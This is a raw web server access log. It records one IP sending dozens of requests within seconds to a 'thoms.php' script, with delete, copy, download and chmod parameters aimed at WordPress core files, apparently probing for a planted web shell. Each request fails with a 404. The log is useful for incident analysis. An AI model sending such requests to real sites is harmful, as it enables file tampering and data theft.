45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?del=class-wp-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?dl=post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?dl=rest-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fview-transitions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fview-transitions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:42 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?dl=class-wpdb.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fatomlib.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fatomlib.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fmedia.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fmedia.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?dl=default-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?del=feed-atom.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?dl=ms-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?chmod=query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?del=style-engine.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:43 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?del=registration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?chmod=SimplePie&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fload.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fload.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?dl=class-smtp.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?chmod=media-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:44 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpluggable.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpluggable.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?del=class-wp-theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?del=functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-patterns-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:45 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?chmod=comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?del=https-migration.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?del=post-formats.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?dl=option.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=option.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fregistration-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
